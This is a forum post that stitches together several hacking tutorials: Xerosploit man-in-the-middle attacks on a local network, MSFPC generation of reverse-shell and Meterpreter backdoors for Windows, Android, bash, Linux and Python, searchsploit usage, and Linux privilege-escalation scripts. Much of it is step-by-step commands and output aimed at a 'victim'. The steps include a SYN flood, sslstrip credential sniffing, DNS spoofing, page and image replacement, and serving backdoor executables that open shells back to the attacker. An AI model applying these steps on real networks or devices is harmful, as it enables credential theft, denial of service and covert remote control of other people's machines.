Login

**NINZA** · 05-14-2020, 09:57 AM

0			0

Networking is an important platform for an Ethical Hacker to check on, many of the threat can come from the internal network like network sniffing, Arp Spoofing, MITM e.t.c, This article is on Xerosploit which provides advanced MITM attack on your local network to sniff packets, steal password etc.
Table of Content

Introduction to Xerosploit
Man-In-The-Middle
Xerosploit Installation
PSCAN (Port Scanner)
DOS (Denial of service)
INJECTHTML (HTML INJECTION)
SNIFF
dspoof
YPLAY
REPLACE
Driftnet

Introduction to Xerosploit
Xerosploit is a penetration testing toolkit whose goal is to perform a man in the middle attacks for testing purposes. It brings various modules that allow realising efficient attacks, and also allows to carry out denial of service attacks and port scanning. Powered by

[To see content please register here]

and

[To see content please register here]

.
For those who are not familiar with Man-in-the-middle attack, welcome to the world of internal network attacks
Dependencies

nmap
hping3
build-essential
ruby-dev
libpcap-dev
libgmp3-dev
tabulate
terminal tables

Built-up with various Features:

Port scanning
Network mapping
Dos attack
Html code injection
Javascript code injection
Download interception and replacement
Sniffing
DNS spoofing
Background audio reproduction
Images replacement
Drifnet
Webpage defacement and more

Man-In-The-Middle
A man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. There are many open source tools available online for this attack like Ettercap, MITMF, Xerosploit, e.t.c
From Wikipedia.org
Xerosploit Installation
Xerosploit is an attack tool for MITM which can run only on Linux OS to do so follow the simple steps:-
Open up terminal and type
git clone

[To see content please register here]

cd xerosploit
./install.py
1
2
3
git clone

[To see content please register here]

cd xerosploit
./install.py
It will ask to choose your operating system, here we have press 1 for Kali Linux.
[Image: 1.png?w=687&ssl=1]

Here it will display your network configuration including IP address, MAC address, gateway, and interface and hostname. Now run the following command on xerosploit console to know the initial commands:
help
1
help
[Image: 2.png?w=687&ssl=1]

In this grid, we have a list of commands for our attack and we are going for the man in middle attack, so I will choose scan command in my next step for scanning the whole network.
scan
This command will scan the complete network and will found all devices on your network.
As you can observe that it has scanned all the active hosts. There are so many hosts in this network; you have to choose your target from the given result. I am going to select 192.168.1.105 for the man in the middle attack.
192.168.1.105
1
192.168.1.105
In the next comment, it will ask for the module you want to load for the man in the middle attack. Go with this comment and type help.
help
1
help
[Image: 3.png?w=687&ssl=1]

pscan (Port Scanner)
Let’s begin with pscan which is a port scanner, it will show you all the open ports on the network computer and retrieve the version of the programs running on the detected ports. Type run to execute pscan and it will show you all the open ports of the victim’s network.
pscan
1
pscan
[Image: 4.png?w=687&ssl=1]

DOS (Denial of service)
Type “dos” to load the module, it will send a succession of TCP-SYN request packet to a target’s system to make the machine unresponsive to legitimate traffic which means it is performing SYN Flood attack.
dos
run
1
2
dos
run
press ctrl + c to stop
If you are aware of HPING tool then you can notice, this module is initially using HPING command for sending countless SYN request packet. [Image: 5.png?w=687&ssl=1]

Inject HTML (HTML Injection)
HTML injection is the vulnerability inside any website that occurs when the user input is not correctly sanitized or the output is not encoded and the attacker is able to inject valid HTML code into a vulnerable web page. There are so many techniques which could use element and attributes to submit HTML content.
So here we will replace the victim’s html page with ours. Select any page of your choice as you will notice that I have written “You have been hacked” in my index.html page which I will replace with the victim’s html page. Whatever page the victim will try to open he/she will see only the replaced one.
First, create a page as I have created & saved it on Desktop by the name of INDEX.html
[Image: 6.png?w=687&ssl=1]

Now run injecthtml command to load the injecthtml module. And then type run command to execute the injecthtml and enter the path where you have saved the file.
Bravo! We have successfully replaced the page as you can see in the picture below.
Hit ctrl^c to stop the attack.
[Image: 8.png?w=687&ssl=1]

Sniff
Now run the following module to sniff all the traffic of the victim with the command:
sniff
1
sniff
Then enter the following command to execute that module:
run
1
run
Now it will ask you if you want to use SSLTRIP to strip the HTTPS URL’s to HTTP so that we can catch the login credentials in clear text. So enter y.
[Image: 11.png?w=687&ssl=1]

When the victim will enter the username and password it will sniff and capture all the data.
[Image: 12.png?w=687&ssl=1]

Now it will open a separate terminal in which we can see all the credentials in clear text. As you can see it has successfully captured the login credentials.
Hit ctrl^c to stop the attack.
[Image: 13.png?w=687&ssl=1]

dspoof
It load dspoof module which will supply false DNS information to all target browsed hosts Redirect all the http traffic to the specified one IP.
Now type run command to execute module and then it will ask the IP address where you want to redirect the traffic, here we have given our Kali Linux IP.
[Image: 14.png?w=687&ssl=1]

Now, as soon as the victim will open any webpage he/she will get the page store in our web directories which we want to show him/her as shown in the picture below.
Hit ctrl^c to stop the attack.
[Image: 15.png?w=687&ssl=1]

Yplay
Now let’s catch the other interesting module which is yplay. It will play background video sound in the victim browser of your choice. So first execute yplay command followed by the run command and give the video i.d what you have selected.
Open your browser and choose your favorite video on YouTube which you want to play in the background in the victim’s browser. If video having any advertisement then skip that and select id from URL. Come back to xerosploit.
yplay
1
yplay
To execute the yplay module for attack type run.
run
1
run
Insert youtube video ID which you have copy above from url in next step.
febVHEarpeQ
1
febVHEarpeQ
[Image: 16.png?w=687&ssl=1]

Now in no matters what the victim is doing on the laptop. If he will try to open any webpage, on the background he/shell will hear the song which we want him to listen.
Hit ctrl^c to stop the attack.
[Image: 17.png?w=687&ssl=1]

Replace
I hope all the attacks were quite interesting. But the next is going to be amazing. Now we will replace all the images of the victim’s website with our images. For this first, execute the command replace followed by the run command. Don’t forget to give the path of the .png file which you have created as a surprise box for the victim.
replace
run
/root/Desktop/1.png
1
2
3
replace
run
/root/Desktop/1.png
[Image: 18.png?w=687&ssl=1]

As the victim opens any URL he/she will be amazed to see the replaced images of his/her website as shown here.
Hit ctrl^c to stop the attack.
[Image: 19.png?w=687&ssl=1]

Driftnet
We will use the driftnet module to capture all the images the victim is surfing on the web with following commands and it will save all captured picture in opt/xerosploit/xedriftnet.
driftnet
run
1
2
driftnet
run
[Image: 20.png?w=687&ssl=1]

Once the attack is launched; we can sniff down all the images that he is viewing on his computer in our screen. We can do much more with this tool simply by using the move you can shake the browser contents
[Image: 22.png?w=687&ssl=1]

As you can observe that all the images what victim is viewing on his/her system are captured in your system successfully.
Hopefully! So it is needless to say that this tool XERSPLOIT is quite interesting and useful as well for performing so many attacks. I hope readers are gonna like this.
HaPpY hAcKing!!
[Image: 23.png?w=687&ssl=1]

As you all are aware of MSFvenom-A tool in Kali Linux for generating a payload, is also available as MSFvenom Payload Creator (MSFPC) for generating various “basic” Meterpreter payloads via msfvenom. It is a fully automated msfvenom & Metasploit is the end goal.
Table of content

Create a Payload with Interactive IP Mode
Windows Payload
Android Payload
BASH
Linux
Python
Batch (Generates all Possible Combination Payloads)
Loop (Generates One payload for Each Platform)
Generating Stageless Payload

MSFvenom Payload Creator (MSFPC) is a wrapper to generate multiple types of payloads, based on the user’s choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.
Source:

[To see content please register here]

Author: g0tmi1k
Syntax
msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
1
msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

Create a Payload with Interactive IP Mode
Let’s create the payload for Windows platform with the help of the following command
msfpc windows
1
msfpc windows
When you will enter above command it will automatically confirm the interface:
Which interface should be used?
eth0, lo, wan
We press 1 for eth0 and then it will start generating payload and as result give us the following:

Location of MSF handler file and windows meterpreter created.
Command to be run to start multi handler automatically within the Metasploit framework.
Command for file transfer through the web server.

Basically, the msfpc is designed to reduce the user’s effort in generating payload of various platforms with the different-different format of the file. So when you will type “msfpc” it will display all types of platform and generate a specific format of file likewise.
Syntax: msfpc <Lhost IP>
[Image: 1.png?w=687]

Windows Payload
If you want to generate a payload to get meterpreter session victim’s machine which operates on Windows, then all you need to do is type following:
msfpc windows 192.168.1.109 1234
1
msfpc windows 192.168.1.109 1234
If you will not mention IP, it will automatically ask to choose the interface as discussed above and choose 443 as default lport. It creates a malicious backdoor in the .exe format for 32-bit architecture. Then it will start generating the payload and as result give us details following details.

Location of MSF handler file and windows meterpreter created: ‘/root/windows-meterpreter-staged-reverse-tcp-1234.exe’
command to be run to start multi handler automatically: msfconsole -q -r ‘/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc'
python2 -m SimpleHTTPServer 8080
[Image: 3.png?w=687]

When victim will browse the following URL where it will ask to download and run the .exe file that will provide the meterpreter session to the attacker.
//192.168.1.109/root/windows-meterpreter-staged-reverse-tcp-1234.exe
1
//192.168.1.109/root/windows-meterpreter-staged-reverse-tcp-1234.exe
Conclusion: Earlier the attackers were using the manual method to generate a payload in msfvenom command and then use Metasploit module “multi/handler” to access the reverse connection via meterpreter session and this technique was quite successfully approached to compromise a victim’s machine although took much time. But the same approach is applicable with the help of MSFPC for generating various “basic” Meterpreter payloads via msfvenom.
[Image: 4.png?w=687]

Android Payload
If you want to generate a payload to get meterpreter session victim’s machine which operates on Android, then all you need to do is type following:
msfpc apk 192.168.1.109 1234
1
msfpc apk 192.168.1.109 1234
It creates a malicious backdoor in the .apk format. Then it will start generating the payload and as result give us the following details.

Location of MSF handler file and android meterpreter created: ‘/root/android-meterpreter-stageless-reverse-tcp-1234.apk’
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the application and run the .apk file that will provide the meterpreter session to the attacker.
//192.168.1.109/root/android-meterpreter-stageless-reverse-tcp-1234.apk
1
//192.168.1.109/root/android-meterpreter-stageless-reverse-tcp-1234.apk
[Image: 6.jpg?w=687]

Hence you can observe as said above, we have the meterpreter session of the target’s machine.
[Image: 8.png?w=687]

BASH
The pro above MSFPC is that it reduces the stress to remember the format for each platform, all we need to do is just follow the above declare syntax and the rest will be managed by MSFPC automatically. Suppose I want to create a payload for Bash platform, and then it will take a few minutes in MSFPC to generate a bash payload.
msfpc bash 192.168.1.109 1234
1
msfpc bash 192.168.1.109 1234
It creates a malicious backdoor in the .sh format. Then it will start generating the payload and as result give us the following:

Location of MSF handler file and bash meterpreter created: ‘/root/bash-shell-staged-reverse-tcp-1234.sh.’
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/bash-shell-staged-reverse-tcp-1234.sh.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/bash-shell-staged-reverse-tcp-1234.sh.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/bash-shell-staged-reverse-tcp-1234.sh.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the script and once the target runs the bash script with full permission, it will give command shell.
//192.168.1.109/root/bash-shell-staged-reverse-tcp-1234.sh
chmod 777 bash-shell-staged-reverse-tcp-1234.sh
./bash-shell-staged-reverse-tcp-1234.sh
1
2
3
//192.168.1.109/root/bash-shell-staged-reverse-tcp-1234.sh
chmod 777 bash-shell-staged-reverse-tcp-1234.sh
./bash-shell-staged-reverse-tcp-1234.sh
[Image: 10.png?w=687]

Hence you can observe as said above, we have command shell of target’s machine and with the help of the following command, we have upgraded it into the meterpreter shell.
sessions -u 1
1
sessions -u 1
[Image: 11.png?w=687]

Linux
If you want to generate a payload to get meterpreter session victim’s machine which operates on Linux, then all you need to do is type following:
msfpc linux 192.168.1.109 4444
1
msfpc linux 192.168.1.109 4444
It creates a malicious backdoor in the .elf format. Then it will start generating the payload and as result give us the following details:

Location of MSF handler file and Linux shell created: ‘/root/linux-shell-staged-reverse-tcp-4444.elf
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/linux-shell-staged-reverse-tcp-4444.elf.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-4444.elf.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-4444.elf.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the application and once the target run the .elf file with full permission, it will give command shell.
//192.168.1.109/root/linux-shell-staged-reverse-tcp-4444.elf
chmod 777 linux-shell-staged-reverse-tcp-4444.elf
./linux-shell-staged-reverse-tcp-4444.elf
1
2
3
//192.168.1.109/root/linux-shell-staged-reverse-tcp-4444.elf
chmod 777 linux-shell-staged-reverse-tcp-4444.elf
./linux-shell-staged-reverse-tcp-4444.elf
[Image: 13.png?w=687]

Hence you can observe as said above, we have command shell of target’s machine and with the help of the following command, we have upgraded it into the meterpreter shell.
sessions -u 1
1
sessions -u 1
[Image: 14.png?w=687]

Python
If you want to generate a payload to get meterpreter session victim’s machine which operates on Python, then all you need to do is type following:
msfpc python 192.168.1.109 5555
1
msfpc python 192.168.1.109 5555
It creates a malicious backdoor in the .py format. Then it will start generating the payload and as result give us the following details:
Location of MSF handler file and python meterpreter created: ‘/root/python-meterpreter-staged-reverse_tcp-5555.py
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/python-meterpreter-staged-reverse_tcp-5555.py.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080
[Image: 16.png?w=687]

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/python-meterpreter-staged-reverse_tcp-5555.py.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/python-meterpreter-staged-reverse_tcp-5555.py.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the script and once the target run the python script, it will give the meterpreter session.
//192.168.1.109/root/python-meterpreter-staged-reverse_tcp-5555.py
python python-meterpreter-staged-reverse_tcp-5555.py
1
2
//192.168.1.109/root/python-meterpreter-staged-reverse_tcp-5555.py
python python-meterpreter-staged-reverse_tcp-5555.py
[Image: 17.png?w=687]

Hence you can observe as said above, we have the meterpreter session of the target’s machine
[Image: 18.png?w=687]

Batch (Generates all Possible Combination Payloads)
Batch is the most significant Mode as it generates as much as a possible combination of payload. If we want to create all payloads which can give meterpreter session then we can use the following command in that situation.
msfpc msf batch eth0
1
msfpc msf batch eth0
In the given below command you can observe here it has generated all possible types of payload which can give meterpreter sessions. Although the rest technique is as above to execute the payload and get the reverse connection.
[Image: 19.png?w=687]

If we want to create all payloads which can give command shell session of the target’s machine then we can use the following command in that situation.
msfpc cmd batch eth0
1
msfpc cmd batch eth0
In the given below command you can observe here it has generated all possible types of payload which can give command shell.
[Image: 20.png?w=687]

Loop (Generates One payload for Each Platform)
Loop is also the most significant mode as it generates one of each type of payload with their default values. Hence by default will generate a payload to provide meterpreter session rather than command shell session.
msfpc verbose loop eth0
1
msfpc verbose loop eth0
In the given below command you can observe here it has generated all possible types payload for each platform which can give meterpreter sessions. Although the rest technique is as above to execute the payload and get the reverse connection.
[Image: 21.png?w=687]

Generating Stageless Payload
As we all know there are two types of payloads i.e. stag and stageless and by default it creates a stage payload. If you want to create a stageless payload then you can go with the following command to generate stageless payload for command shell session or meterpreter session.
msfpc stagless cmd windows 192.168.1.109
msfpc stagless msf windows 192.168.1.109
1
2
msfpc stagless cmd windows 192.168.1.109
msfpc stagless msf windows 192.168.1.109
The rest technique is as above to execute the payload and get the reverse connection.
[Image: 22.png?w=687]

Hello friends!! Several times you might have read our articles on CTF challenges and other, where we have used searchsploit to find out an exploit if available in its Database. Today in this article we are going to discuss searchsploit in detail.
Table of Content

Introduction to searchsploit
Title Searching
Advance Title Searching
Copy To Clipboard
Copy To Directory
Examine an Exploit
Examining Nmap result
Exploit-DB Online
Eliminate Unwanted Results
Case Sensitive

Introduction to SearchSploit
Included in the

[To see content please register here]

is “searchsploit”, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. SearchSploit gives you the power to perform detailed offline searches through your locally checked-out copy of the repository. This capability is particularly useful for security assessments on segregated or air-gapped networks without Internet access.
Since we are using GNOME build of Kali Linux, therefore, the “exploitdb” package is already included by default, all we need to do, open the terminal and just type “searchsploit” and press Enter. You will welcome by its help screen.
Source:

[To see content please register here]

Title Searching
Using –t option enables “title” parameter to search an exploit with a specific title. Because by default, searchsploit will try both the title of the exploit as well as the path. Searching an exploit with a specific title gives quick and sorted results.
Syntax: searchsploit [option] <title>
searchsploit -t java
1
searchsploit -t java
The above command will search exploit related to the Java platform and will show all exploit available in the exploit DB database.
[Image: 2.png?w=687&ssl=1]

Advance Title Searching
Even you can use –t option, to get the more fine result in finding the exploit of any particular platform. For example, if you want to find out java exploit for windows platform, then you can consider the following command.
searchsploit –t java windows
1
searchsploit –t java windows
Now you can compare the current output result from the previous result.
[Image: 3.png?w=687&ssl=1]

Copy To Clipboard
Using –p options enable “copy to clipboard parameter” as this option provides more information related to the exploit, as well as copy the whole path to the exploit to the clipboard, all you need press Ctrl V to paste.
searchsploit 39166
searchsploit -p 39166
1
2
searchsploit 39166
searchsploit -p 39166
In the following image, we have shown the default result varies when we use –p option along with it.
[Image: 4.png?w=687&ssl=1]

Copy To Directory
using –m options enable “copy to directory/folder parameter” as this option provides the same information as above related to the exploit, as well as copy the exploit in your current working directory.
searchsploit 39166
searchsploit -m 39166
1
2
searchsploit 39166
searchsploit -m 39166
In the following image, we have shown the default result varies when we use –m option along with it.
[Image: 5.png?w=687&ssl=1]

Examine an Exploit
Using —examine option, enables examine parameter to read the functionality of that exploit with the help of $PAGER.
searchsploit 39166 --examine
1
searchsploit 39166 --examine
[Image: 6.1.png?w=687&ssl=1]

The above command will open the text file of the exploit to review its functionality, code, and other information.
[Image: 6.2.png?w=687&ssl=1]

Examining Nmap result
As we all know, Nmap has a very remarkable feature that let you save its output result in .xml format and we can identify each exploit associated with the nmap XML file.
nmap -sV 192.168.1.102 -oX result.xml
1
nmap -sV 192.168.1.102 -oX result.xml
With the help of above command, we have saved the scanning result of nmap in an XML file, so that we can search the exploit related to scanned port/services.
[Image: 6.png?w=687&ssl=1]

Using –x option enables the examine parameter as well as –nmap option Checks all results in Nmap XML output with service version to find out related exploit with it.
searchsploit –x --nmap result.xml
1
searchsploit –x --nmap result.xml
Here you can observe that it is using verbose mode to examine XML file and had shown all possible exploit of running services.
[Image: 7.png?w=687&ssl=1]

Continue reading…
[Image: 8.png?w=687&ssl=1]

Exploit-DB Online
Using –w option enables website URL because on its website you will get more detailed information such as CVE-ID, setup files, tags, and vulnerability mappings which is not included in searchsploit.
searchsploit ubuntu 14.04 –w
1
searchsploit ubuntu 14.04 –w
The above command will show all available Exploit DB website links for the exploit related to Ubuntu 14.04.
[Image: 9.png?w=687&ssl=1]

Eliminate Unwanted Results
using –exclude option, it enables exclude parameter to remove the unwanted result from inside the list of exploit. You can also remove multiple terms by separating the terms with a “|” (pipe). This can be considered in the following:
searchsploit ubuntu 14.04
searchsploit --exclude="Privilege Escalation"
1
2
searchsploit ubuntu 14.04
searchsploit --exclude="Privilege Escalation"
In the following image, we have shown the default result varies when we use –exclude option along with it. Even you can eliminate more terms with the help of “|” (pipe)
searchsploit --exclude="Privilege Escalation" | (Poc)
1
searchsploit --exclude="Privilege Escalation" | (Poc)
[Image: 10.png?w=687&ssl=1]

Moreover, we can use the universal Grep command to remove the unwanted result from its output result. This can be considered in the following:
searchploit ubuntu14.04
searchploit ubuntu 14.04 | grep "Buffer Overflow"
1
2
searchploit ubuntu14.04
searchploit ubuntu 14.04 | grep "Buffer Overflow"
The above command will only look for all available exploit of ubuntu 14.04 on Buffer Overflow and dump the result.
[Image: 11.png?w=687&ssl=1]

Case Sensitive
Using –c option enables the “case-sensitive search” parameter to find out exploit related to specific character mention in the command, by default it makes the insensitive search. You can consider the following example:
searchsploit xss
searchsploit –c XSS
1
2
searchsploit xss
searchsploit –c XSS
As you can observe by default it has shown all available exploit related to xss/XSS but in the next command, it has shown the result only for XSS.
[Image: 14.png?w=687&ssl=1]

We all know that after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to the higher-privileged shell. But apart from it, there are some scripts for Linux that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits. This type of script could save your much time.
Table of Content

Introduction
Vectors of Privilege Escalation
LinuEnum
Linuxprivchecker
Linux Exploit Suggester 2
Bashark
BeRoot

Introduction
Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he tries to gather critical information related to systems such as hidden password and weak configured services or applications and etc. All this information help the attacker to make the post exploit against the machine for getting the higher-privileged shell.
Vectors of Privilege Escalation

OS Detail & Kernel Version
Any Vulnerable package installed or running
Files and Folders with Full Control or Modify Access
File with SUID Permissions
Mapped Drives (NFS)
Potentially Interesting Files
Environment Variable Path
Network Information (interfaces, arp, netstat)
Running Processes
Cronjobs
User’s Sudo Right
Wildcard Injection

There are several script use in Penetration testing for quickly identify potential privilege escalation vectors on Windows systems and today we are going to elaborate each script which is working smoothly.
LinuEnum
Scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum.
Privileged access: Diagnose if the current user has sudo access without a password; whether the root’s home directory is accessible.
System Information: Hostname, Networking details, Current IP and etc.
User Information: Current user, List all users including uid/gid information, List root accounts, Checks if password hashes are stored in /etc/passwd.
Kernel and distribution release details.
You can download it through GitHub with help of the following command:
git clone //github.com/rebootuser/LinEnum.git
1
git clone //github.com/rebootuser/LinEnum.git
[Image: 1.png?w=687]

Once you download this script, you can simply run it by tying ./LinEnum.sh on the terminal. Hence it will dump all fetched data and system details.
Let’s Analysis Its result what it brings to us:
OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1
Hostname: Ubuntu
[Image: 2.png?w=687]

Moreover…..
Super User Accounts: root, demo, hack, raaz
Sudo Rights User: Ignite, raj
Home Directories File Permission
Environment Information
And many more such things which come under the Post Exploitation.
[Image: 3.png?w=687]

Linuxprivchecker
Enumerates the system configuration and runs some privilege escalation checks as well. It is a python implementation to suggest exploits particular to the system that’s been taken under. Use wget to download the script from its source URL.
wget //www.securitysift.com/download/linuxprivchecker.py
1
wget //www.securitysift.com/download/linuxprivchecker.py
[Image: 4.png?w=687]

Now to use this script just type python linuxprivchecker.py on the terminal and this will enumerate file and directory permissions/contents. This script works the same as LinEnum and hunts details related to system network and user.
python linuxprivchecker.py
1
python linuxprivchecker.py
Let’s Analysis Its result what it brings to us.
OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1
Hostname: Ubuntu
Network Info: Interface, Netstat
[Image: 5.png?w=687]

Writable Directory and Files for Users other than Root: /home/raj/script/shell.py
Checks if Root’s home folder is accessible
The file having SUID/SGID Permission
For example: /bin/raj/asroot.sh which is a bash script with SUID Permission
[Image: 6.png?w=687]

Linux Exploit Suggester 2
Next-generation exploits suggester based on Linux_Exploit_Suggester. This program performs a ‘uname -r‘ to grab the Linux operating system release version and returns a list of possible exploits.
This script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments.
Key Improvements Include:

More exploits
Accurate wildcard matching. This expands the scope of searchable exploits.
Output colorization for easy viewing.
And more to come

git clone //github.com/jondonas/linux-exploit-suggester-2.git
cd linux-exploit-suggester-2
1
2
git clone //github.com/jondonas/linux-exploit-suggester-2.git
cd linux-exploit-suggester-2
[Image: 7.png?w=687]

You can use the ‘-k’ flag to manually enter a wildcard for the kernel/operating system release version.
./linux-exploit-suggester-2.pl -k 3.5
1
./linux-exploit-suggester-2.pl -k 3.5
[Image: 8.png?w=687]

Bashark
Bashark aids pentesters and security researchers during the post-exploitation phase of security audits.
It’s Features

Single Bash script
Lightweight and fast
Multi-platform: Unix, OSX, Solaris etc.
No external dependencies
Immune to heuristic and behavioral analysis
Built-in aliases of often used shell commands
Extends system shell with post-exploitation oriented functionalities
Stealthy, with custom cleanup routine activated on exit
Easily extensible (add new commands by creating Bash functions)
Full tab completion

Execute the following command to download it from the GitHub:
git clone //github.com/TheSecondSun/Bashark.git
cd Bashark
1
2
git clone //github.com/TheSecondSun/Bashark.git
cd Bashark
[Image: 9.png?w=687]

To execute the script you need to run following command:
source bashark.sh
help
1
2
source bashark.sh
help
The help command will let you know all available options provide by bashark for post exploitation.
[Image: 10.png?w=687]

With help of portscan option, you can scan the internal network of the compromised machine.
To fetch all configuration file you can use getconf option. It will pull out all configuration file stored inside /etc directory. Similarly, you can use the getprem option to view all binaries files of the target‘s machine.
portscan < target’s IP>
getconf
getprem
1
2
3
portscan < target’s IP>
getconf
getprem
[Image: 11.png?w=687]

BeRoot
BeRoot Project is a post exploitation tool to check common misconfiguration to find a way to escalate our privilege. This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that has been found as a potential way to escalate our privilege.
git clone //github.com/AlessandroZ/BeRoot.git
cd Linux
chmod 777 beroot.py
1
2
3
git clone //github.com/AlessandroZ/BeRoot.git
cd Linux
chmod 777 beroot.py
[Image: 12.png?w=687]

To execute the script you need to run following command:
./beroot.py
1
./beroot.py
It will try to enumerate all possible loopholes which can lead to privilege Escalation, as you can observe the highlighted yellow color text represents a weak configuration that can lead to root privilege escalation whereas the red color represents the technique that can be used to exploit.
It’s Functions:
Check Files Permissions
SUID bin
NFS root Squashing
Docker
Sudo rules
Kernel Exploit
[Image: 13.png?w=687]

Conclusion: Above executed script are available on GitHub, you can easily download it from GitHub. These automated script try to identify the weak configuration that can lead to root privilege escalation.
[Image: 14.png?w=687]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis